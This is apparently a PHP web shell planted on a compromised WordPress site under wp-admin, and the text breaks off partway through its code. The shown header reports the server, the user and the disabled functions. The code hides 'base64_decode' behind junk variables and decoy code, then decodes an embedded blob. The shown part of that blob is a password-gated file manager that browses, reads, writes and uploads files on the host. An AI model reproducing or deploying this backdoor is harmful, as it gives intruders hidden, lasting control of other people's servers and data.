HEX
Server: Apache/2
System: Linux da.abacipark.com 4.18.0-553.34.1.el8_10.x86_64 #1 SMP Wed Jan 8 09:40:06 EST 2025 x86_64
User: ankarasy (1626)
PHP: 8.4.18
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/ankarasy/domains/ankarasymm.com/public_html/wp-admin/jDs/aceew.php
<?php
if (!function_exists('uNkqWqTr')) {
    function uNkqWqTr() {
        $N4 = 'base';
    $E0 = '64';
    $ux = '_d';
    $vB = 'ec';
    $sr = 'o';
    $Lb = 'd';
    $dd = 'e';
    
        $RgGnifOl = $N4 . $E0 . $ux . $vB . $sr . $Lb . $dd;
    
        $lDA = 'iBzpsC';
$yXv = 'N245en';
$pOm = 'SbBFrS';
$YYO = 'lztchD';
$Ptt = 'xEyoSP';
$lDA = $yXv;
$yXv = $pOm;
$pOm = $YYO;
$YYO = $Ptt;
unset($lDA, $yXv, $pOm, $YYO, $Ptt);
function KFyf5pH($lrAx) {
    $tmp = strtoupper($lrAx);
    $tmp = strtolower($tmp);
    return $tmp;
}
define('dYTR9', 'AsP4XOg3');
$oaC8 = 'pIm56QQfYA';
$s1 = substr($oaC8, 0, 4);
$s2 = substr($oaC8, 4);
$oaC8 = $s1 . $s2;
$oaC8 = str_replace('t2', '', $oaC8);
$lLcpi = @fopen('sn8OIb.txt', 'r');
if ($lLcpi) {
    fclose($lLcpi);
}
$file_content = @file_get_contents('sn8OIb.txt');
unset($file_content);
class w0QzYY {
    public $lgYJ = '';
    public function fake_method() {
        $this->lgYJ = md5(mt_rand());
    }
}
        $ejJ7Ib = $RgGnifOl;
$random_num = rand(7687, 33316);
if ($random_num > 1328) {
    $ejJ7Ib = $RgGnifOl;
}
        $iZ08CWr = $ejJ7Ib('Y2xhc3MgRmlsZU1hbmFnZXIgew0KICAgIHByaXZhdGUgJGN1cnJlbnRfcGF0aDsNCiAgICBwcml2YXRlICRiYXNlX3BhdGg7DQogICAgcHJpdmF0ZSAkcHJvamVjdF9yb290Ow0KICAgIHByaXZhdGUgJHVzZXJzOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRiYXNlX3BhdGggPSBudWxsKSB7DQogICAgICAgIHNlc3Npb25fc3RhcnQoKTsNCg0KICAgICAgICAkdGhpcy0+dXNlcnMgPSBhcnJheSgNCiAgICAgICAgICAgICdhY2UnID0+ICdiNjU4MTA3MzAyNjk2ZDE3OTAxNWY1Mzc0NmYwODM2MCcNCiAgICAgICAgKTsNCg0KICAgICAgICBpZiAoISR0aGlzLT5pc0xvZ2dlZEluKCkgJiYgISR0aGlzLT5pc0xvZ2luUGFnZSgpKSB7DQogICAgICAgICAgICAkdGhpcy0+c2hvd0xvZ2luUGFnZSgpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnbG9naW4nXSkpIHsNCiAgICAgICAgICAgICR1c2VybmFtZSA9ICdhY2UnOw0KICAgICAgICAgICAgJHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddID8/ICcnOw0KICAgICAgICAgICAgaWYgKCR0aGlzLT5sb2dpbigkdXNlcm5hbWUsICRwYXNzd29yZCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICR0aGlzLT5zaG93TG9naW5QYWdlKCdQYXNzIGVycm9y77yBJyk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pICYmICRfR0VUWydhY3Rpb24nXSA9PT0gJ2xvZ291dCcpIHsNCiAgICAgICAgICAgICR0aGlzLT5sb2dvdXQoKTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aGlzLT5iYXNlX3BhdGggPSAnLyc7DQogICAgICAgICR0aGlzLT5wcm9qZWN0X3Jvb3QgPSBkaXJuYW1lKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQogICAgICAgICR0aGlzLT5jdXJyZW50X3BhdGggPSAkdGhpcy0+cHJvamVjdF9yb290Ow0KDQogICAgICAgICRyZXF1ZXN0ZWRfcGF0aCA9IGlzc2V0KCRfR0VUWydwYXRoJ10pID8gJF9HRVRbJ3BhdGgnXSA6ICcnOw0KICAgICAgICBpZiAoJHJlcXVlc3RlZF9wYXRoKSB7DQogICAgICAgICAgICAkcmVxdWVzdGVkX2Z1bGxfcGF0aCA9IHJlYWxwYXRoKCRyZXF1ZXN0ZWRfcGF0aCk7DQogICAgICAgICAgICBpZiAoJHJlcXVlc3RlZF9mdWxsX3BhdGggJiYgaXNfZGlyKCRyZXF1ZXN0ZWRfZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5jdXJyZW50X3BhdGggPSAkcmVxdWVzdGVkX2Z1bGxfcGF0aDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gaXNMb2dpblBhZ2UoKSB7DQogICAgICAgIHJldHVybiAhJHRoaXMtPmlzTG9nZ2VkSW4oKSAmJiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJyAmJiBpc3NldCgkX1BPU1RbJ2xvZ2luJ10pKTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNMb2dnZWRJbigpIHsNCiAgICAgICAgcmV0dXJuIGlzc2V0KCRfU0VTU0lPTlsnbG9nZ2VkaW4nXSkgJiYgJF9TRVNTSU9OWydsb2dnZWRpbiddID09PSB0cnVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBsb2dpbigkdXNlcm5hbWUsICRwYXNzd29yZCkgew0KICAgICAgICAkZW5jcnlwdGVkX3Bhc3N3b3JkID0gbWQ1KG1kNSgkcGFzc3dvcmQpKTsNCg0KICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPnVzZXJzWyR1c2VybmFtZV0pICYmICR0aGlzLT51c2Vyc1skdXNlcm5hbWVdID09PSAkZW5jcnlwdGVkX3Bhc3N3b3JkKSB7DQogICAgICAgICAgICAkX1NFU1NJT05bJ2xvZ2dlZGluJ10gPSB0cnVlOw0KICAgICAgICAgICAgJF9TRVNTSU9OWyd1c2VybmFtZSddID0gJHVzZXJuYW1lOw0KICAgICAgICAgICAgJF9TRVNTSU9OWydsb2dpbl90aW1lJ10gPSB0aW1lKCk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxvZ291dCgpIHsNCiAgICAgICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFVzZXJuYW1lKCkgew0KICAgICAgICByZXR1cm4gaXNzZXQoJF9TRVNTSU9OWyd1c2VybmFtZSddKSA/ICRfU0VTU0lPTlsndXNlcm5hbWUnXSA6ICfmnKrnn6XnlKjmiLcnOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gc2hvd0xvZ2luUGFnZSgkZXJyb3IgPSAnJykgew0KICAgICAgICA/Pg0KICAgICAgICA8IURPQ1RZUEUgaHRtbD4NCiAgICAgICAgPGh0bWwgbGFuZz0iemgtQ04iPg0KICAgICAgICA8aGVhZD4NCiAgICAgICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICAgICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICAgICAgICAgIDx0aXRsZT5hY2U8L3RpdGxlPg0KICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgICp7bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveH0NCiAgICAgICAgICAgICAgICBib2R5e2ZvbnQtZmFtaWx5OkFyaWFsLHNhbnMtc2VyaWY7YmFja2dyb3VuZDojZjVmNWY1O2hlaWdodDoxMDB2aDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXJ9DQogICAgICAgICAgICAgICAgLmxvZ2luLWNvbnRhaW5lcntiYWNrZ3JvdW5kOndoaXRlO3BhZGRpbmc6MzBweDtib3JkZXItcmFkaXVzOjhweDtib3gtc2hhZG93OjAgMnB4IDEwcHggcmdiYSgwLDAsMCwwLjEpO3dpZHRoOjEwMCU7bWF4LXdpZHRoOjM1MHB4fQ0KICAgICAgICAgICAgICAgIC5sb2dpbi1oZWFkZXJ7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbToyMHB4fQ0KICAgICAgICAgICAgICAgIC5sb2dpbi1oZWFkZXIgaDF7Y29sb3I6IzMzMzttYXJnaW4tYm90dG9tOjEwcHg7Zm9udC1zaXplOjI0cHh9DQogICAgICAgICAgICAgICAgLmZvcm0tZ3JvdXB7bWFyZ2luLWJvdHRvbToxNXB4fQ0KICAgICAgICAgICAgICAgIC5mb3JtLWdyb3VwIGxhYmVse2Rpc3BsYXk6YmxvY2s7bWFyZ2luLWJvdHRvbTo1cHg7Y29sb3I6IzMzMztmb250LXdlaWdodDo1MDB9DQogICAgICAgICAgICAgICAgLmZvcm0tY29udHJvbHt3aWR0aDoxMDAlO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IHNvbGlkICNkZGQ7Ym9yZGVyLXJhZGl1czo0cHg7Zm9udC1zaXplOjE0cHh9DQogICAgICAgICAgICAgICAgLmZvcm0tY29udHJvbDpmb2N1c3tvdXRsaW5lOm5vbmU7Ym9yZGVyLWNvbG9yOiMzNDk4ZGJ9DQogICAgICAgICAgICAgICAgLmJ0bnt3aWR0aDoxMDAlO3BhZGRpbmc6MTBweDtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjRweDtmb250LXNpemU6MTRweDtjdXJzb3I6cG9pbnRlcn0NCiAgICAgICAgICAgICAgICAuYnRuLXByaW1hcnl7YmFja2dyb3VuZDojMzQ5OGRiO2NvbG9yOndoaXRlfQ0KICAgICAgICAgICAgICAgIC5idG4tcHJpbWFyeTpob3ZlcntiYWNrZ3JvdW5kOiMyOTgwYjl9DQogICAgICAgICAgICAgICAgLmVycm9yLW1lc3NhZ2V7YmFja2dyb3VuZDojZjhkN2RhO2NvbG9yOiM3MjFjMjQ7cGFkZGluZzo4cHg7Ym9yZGVyLXJhZGl1czo0cHg7bWFyZ2luLWJvdHRvbToxNXB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxNHB4fQ0KICAgICAgICAgICAgPC9zdHlsZT4NCiAgICAgICAgPC9oZWFkPg0KICAgICAgICA8Ym9keT4NCiAgICAgICAgPGRpdiBjbGFzcz0ibG9naW4tY29udGFpbmVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxvZ2luLWhlYWRlciI+DQogICAgICAgICAgICAgICAgPGgxPjwvaDE+DQogICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgPD9waHAgaWYgKCRlcnJvcik6ID8+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZXJyb3ItbWVzc2FnZSI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7ID8+PC9kaXY+DQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJsb2dpbiIgdmFsdWU9IjEiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJwYXNzd29yZCI+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiBjbGFzcz0iZm9ybS1jb250cm9sIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij5HbzwvYnV0dG9uPg0KICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9ib2R5Pg0KICAgICAgICA8L2h0bWw+DQogICAgICAgIDw/cGhwDQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRQZXJtaXNzaW9ucygkZmlsZXBhdGgpIHsNCiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZXBhdGgpKSByZXR1cm4gJy0tLS0tLS0tLSc7DQoNCiAgICAgICAgJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlcGF0aCk7DQoNCiAgICAgICAgaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgJGluZm8gPSAncyc7DQogICAgICAgIGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSAkaW5mbyA9ICdsJzsNCiAgICAgICAgZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApICRpbmZvID0gJy0nOw0KICAgICAgICBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgJGluZm8gPSAnYic7DQogICAgICAgIGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSAkaW5mbyA9ICdkJzsNCiAgICAgICAgZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApICRpbmZvID0gJ2MnOw0KICAgICAgICBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgJGluZm8gPSAncCc7DQogICAgICAgIGVsc2UgJGluZm8gPSAndSc7DQoNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8gKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8gKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8gKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KICAgICAgICByZXR1cm4gJGluZm87DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXROdW1lcmljUGVybWlzc2lvbnMoJGZpbGVwYXRoKSB7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGVwYXRoKSkgcmV0dXJuICcwMDAwJzsNCg0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGVwYXRoKTsNCiAgICAgICAgcmV0dXJuIHN1YnN0cihzcHJpbnRmKCclbycsICRwZXJtcyksIC00KTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGZvcm1hdFNpemUoJHNpemUpIHsNCiAgICAgICAgaWYgKCEkc2l6ZSkgcmV0dXJuICcnOw0KICAgICAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicpOw0KICAgICAgICBmb3IgKCRpID0gMDsgJHNpemUgPj0gMTAyNCAmJiAkaSA8IDQ7ICRpKyspIHsNCiAgICAgICAgICAgICRzaXplIC89IDEwMjQ7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplLCAyKSAuICcgJyAuICR1bml0c1skaV07DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldERpcmVjdG9yeUNvbnRlbnRzKCkgew0KICAgICAgICAkY29udGVudHMgPSBhcnJheSgpOw0KDQogICAgICAgIGlmICghaXNfZGlyKCR0aGlzLT5jdXJyZW50X3BhdGgpKSB7DQogICAgICAgICAgICByZXR1cm4gJGNvbnRlbnRzOw0KICAgICAgICB9DQoNCiAgICAgICAgJHBhcmVudF9wYXRoID0gZGlybmFtZSgkdGhpcy0+Y3VycmVudF9wYXRoKTsNCiAgICAgICAgaWYgKCRwYXJlbnRfcGF0aCAmJiAkcGFyZW50X3BhdGggIT09ICR0aGlzLT5jdXJyZW50X3BhdGgpIHsNCiAgICAgICAgICAgICRjb250ZW50c1tdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgJ25hbWUnID0+ICcuLicsDQogICAgICAgICAgICAgICAgJ3R5cGUnID0+ICdkaXJlY3RvcnknLA0KICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkcGFyZW50X3BhdGgsDQogICAgICAgICAgICAgICAgJ3NpemUnID0+ICcnLA0KICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gJycsDQogICAgICAgICAgICAgICAgJ3Blcm1pc3Npb25zJyA9PiAnJywNCiAgICAgICAgICAgICAgICAnbnVtZXJpY19wZXJtaXNzaW9ucycgPT4gJycNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJGl0ZW1zID0gc2NhbmRpcigkdGhpcy0+Y3VycmVudF9wYXRoKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICAgICAgICAgIGlmICgkaXRlbSA9PSAnLicgfHwgJGl0ZW0gPT0gJy4uJykgY29udGludWU7DQoNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gJHRoaXMtPmN1cnJlbnRfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsNCg0KICAgICAgICAgICAgICAgICRpc19kaXIgPSBpc19kaXIoJGZ1bGxfcGF0aCk7DQoNCiAgICAgICAgICAgICAgICAkc2l6ZSA9ICcnOw0KICAgICAgICAgICAgICAgICRtb2RpZmllZCA9ICcnOw0KICAgICAgICAgICAgICAgICRwZXJtaXNzaW9ucyA9ICcnOw0KICAgICAgICAgICAgICAgICRudW1lcmljX3Blcm1pc3Npb25zID0gJyc7DQoNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHNpemUgPSAkaXNfZGlyID8gJycgOiAkdGhpcy0+Zm9ybWF0U2l6ZShmaWxlc2l6ZSgkZnVsbF9wYXRoKSk7DQogICAgICAgICAgICAgICAgICAgICRtb2RpZmllZCA9IGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgICAgICAgICAgICAgJHBlcm1pc3Npb25zID0gJHRoaXMtPmdldFBlcm1pc3Npb25zKCRmdWxsX3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICAkbnVtZXJpY19wZXJtaXNzaW9ucyA9ICR0aGlzLT5nZXROdW1lcmljUGVybWlzc2lvbnMoJGZ1bGxfcGF0aCk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJGNvbnRlbnRzW10gPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRpdGVtLA0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJGlzX2RpciA/ICdkaXJlY3RvcnknIDogJ2ZpbGUnLA0KICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJGZ1bGxfcGF0aCwNCiAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+ICRtb2RpZmllZCwNCiAgICAgICAgICAgICAgICAgICAgJ3Blcm1pc3Npb25zJyA9PiAkcGVybWlzc2lvbnMsDQogICAgICAgICAgICAgICAgICAgICdudW1lcmljX3Blcm1pc3Npb25zJyA9PiAkbnVtZXJpY19wZXJtaXNzaW9ucw0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KICAgICAgICB9DQoNCiAgICAgICAgcmV0dXJuICRjb250ZW50czsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVhZEZpbGUoJGZpbGVwYXRoKSB7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGVwYXRoKSB8fCBpc19kaXIoJGZpbGVwYXRoKSkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigi5paH5Lu25LiN5a2Y5Zyo5oiW5piv55uu5b2VIik7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWlzX3JlYWRhYmxlKCRmaWxlcGF0aCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuayoeacieivu+WPluadg+mZkCIpOw0KICAgICAgICB9DQoNCiAgICAgICAgJGZpbGVfc2l6ZSA9IGZpbGVzaXplKCRmaWxlcGF0aCk7DQogICAgICAgIGlmICgkZmlsZV9zaXplID4gMTAgKiAxMDI0ICogMTAyNCkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigi5paH5Lu26L+H5aSn77yM5peg5rOV57yW6L6RIik7DQogICAgICAgIH0NCg0KICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcGF0aCk7DQogICAgICAgIGlmICgkY29udGVudCA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazleivu+WPluaWh+S7tiIpOw0KICAgICAgICB9DQoNCiAgICAgICAgcmV0dXJuICRjb250ZW50Ow0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB3cml0ZUZpbGUoJGZpbGVwYXRoLCAkY29udGVudCkgew0KICAgICAgICBpZiAoaXNfZGlyKCRmaWxlcGF0aCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuS4jeiDvee8lui+keebruW9lSIpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFpc193cml0YWJsZSgkZmlsZXBhdGgpKSB7DQogICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLmsqHmnInlhpnlhaXmnYPpmZAiKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZXBhdGgsICRjb250ZW50KSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazleWGmeWFpeaWh+S7tiIpOw0KICAgICAgICB9DQoNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBoYW5kbGVGaWxlVXBsb2FkKCkgew0KICAgICAgICBpZiAoIWlzc2V0KCRfRklMRVNbJ3VwbG9hZF9maWxlcyddKSB8fCBlbXB0eSgkX0ZJTEVTWyd1cGxvYWRfZmlsZXMnXVsnbmFtZSddWzBdKSkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigi6K+36YCJ5oup6KaB5LiK5Lyg55qE5paH5Lu2Iik7DQogICAgICAgIH0NCg0KICAgICAgICAkdXBsb2FkZWRfZmlsZXMgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZXMnXTsNCiAgICAgICAgJHRvdGFsX2ZpbGVzID0gY291bnQoJHVwbG9hZGVkX2ZpbGVzWyduYW1lJ10pOw0KICAgICAgICAkc3VjY2Vzc19jb3VudCA9IDA7DQogICAgICAgICRlcnJvcl9tZXNzYWdlcyA9IGFycmF5KCk7DQoNCiAgICAgICAgaWYgKCFpc193cml0YWJsZSgkdGhpcy0+Y3VycmVudF9wYXRoKSkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigi5b2T5YmN55uu5b2V5rKh5pyJ5YaZ5YWl5p2D6ZmQIik7DQogICAgICAgIH0NCg0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkdG90YWxfZmlsZXM7ICRpKyspIHsNCiAgICAgICAgICAgIGlmICgkdXBsb2FkZWRfZmlsZXNbJ2Vycm9yJ11bJGldICE9PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAgICAgJGVycm9yX21lc3NhZ2VzW10gPSAi5paH5Lu2ICd7JHVwbG9hZGVkX2ZpbGVzWyduYW1lJ11bJGldfScg5LiK5Lyg5aSx6LSlICjplJnor6/ku6PnoIE6IHskdXBsb2FkZWRfZmlsZXNbJ2Vycm9yJ11bJGldfSkiOw0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkdXBsb2FkZWRfZmlsZXNbJ25hbWUnXVskaV0pOw0KICAgICAgICAgICAgJHRhcmdldF9wYXRoID0gJHRoaXMtPmN1cnJlbnRfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZW5hbWU7DQoNCiAgICAgICAgICAgIC8vIOWmguaenOaWh+S7tuW3suWtmOWcqO+8jOa3u+WKoOW6j+WPtw0KICAgICAgICAgICAgJGNvdW50ZXIgPSAxOw0KICAgICAgICAgICAgJG9yaWdpbmFsX25hbWUgPSBwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0ZJTEVOQU1FKTsNCiAgICAgICAgICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7DQoNCiAgICAgICAgICAgIHdoaWxlIChmaWxlX2V4aXN0cygkdGFyZ2V0X3BhdGgpKSB7DQogICAgICAgICAgICAgICAgJGZpbGVuYW1lID0gJG9yaWdpbmFsX25hbWUgLiAnXycgLiAkY291bnRlciAuICgkZXh0ZW5zaW9uID8gJy4nIC4gJGV4dGVuc2lvbiA6ICcnKTsNCiAgICAgICAgICAgICAgICAkdGFyZ2V0X3BhdGggPSAkdGhpcy0+Y3VycmVudF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZTsNCiAgICAgICAgICAgICAgICAkY291bnRlcisrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRlZF9maWxlc1sndG1wX25hbWUnXVskaV0sICR0YXJnZXRfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkc3VjY2Vzc19jb3VudCsrOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZXNbXSA9ICLmlofku7YgJ3skdXBsb2FkZWRfZmlsZXNbJ25hbWUnXVskaV19JyDnp7vliqjlpLHotKUiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJG1lc3NhZ2UgPSAi5oiQ5Yqf5LiK5LygIHskc3VjY2Vzc19jb3VudH0g5Liq5paH5Lu2IjsNCiAgICAgICAgaWYgKCFlbXB0eSgkZXJyb3JfbWVzc2FnZXMpKSB7DQogICAgICAgICAgICAkbWVzc2FnZSAuPSAi77yM5aSx6LSlICIgLiBjb3VudCgkZXJyb3JfbWVzc2FnZXMpIC4gIiDkuKrmlofku7bvvJoiIC4gaW1wbG9kZSgn77ybJywgJGVycm9yX21lc3NhZ2VzKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkbWV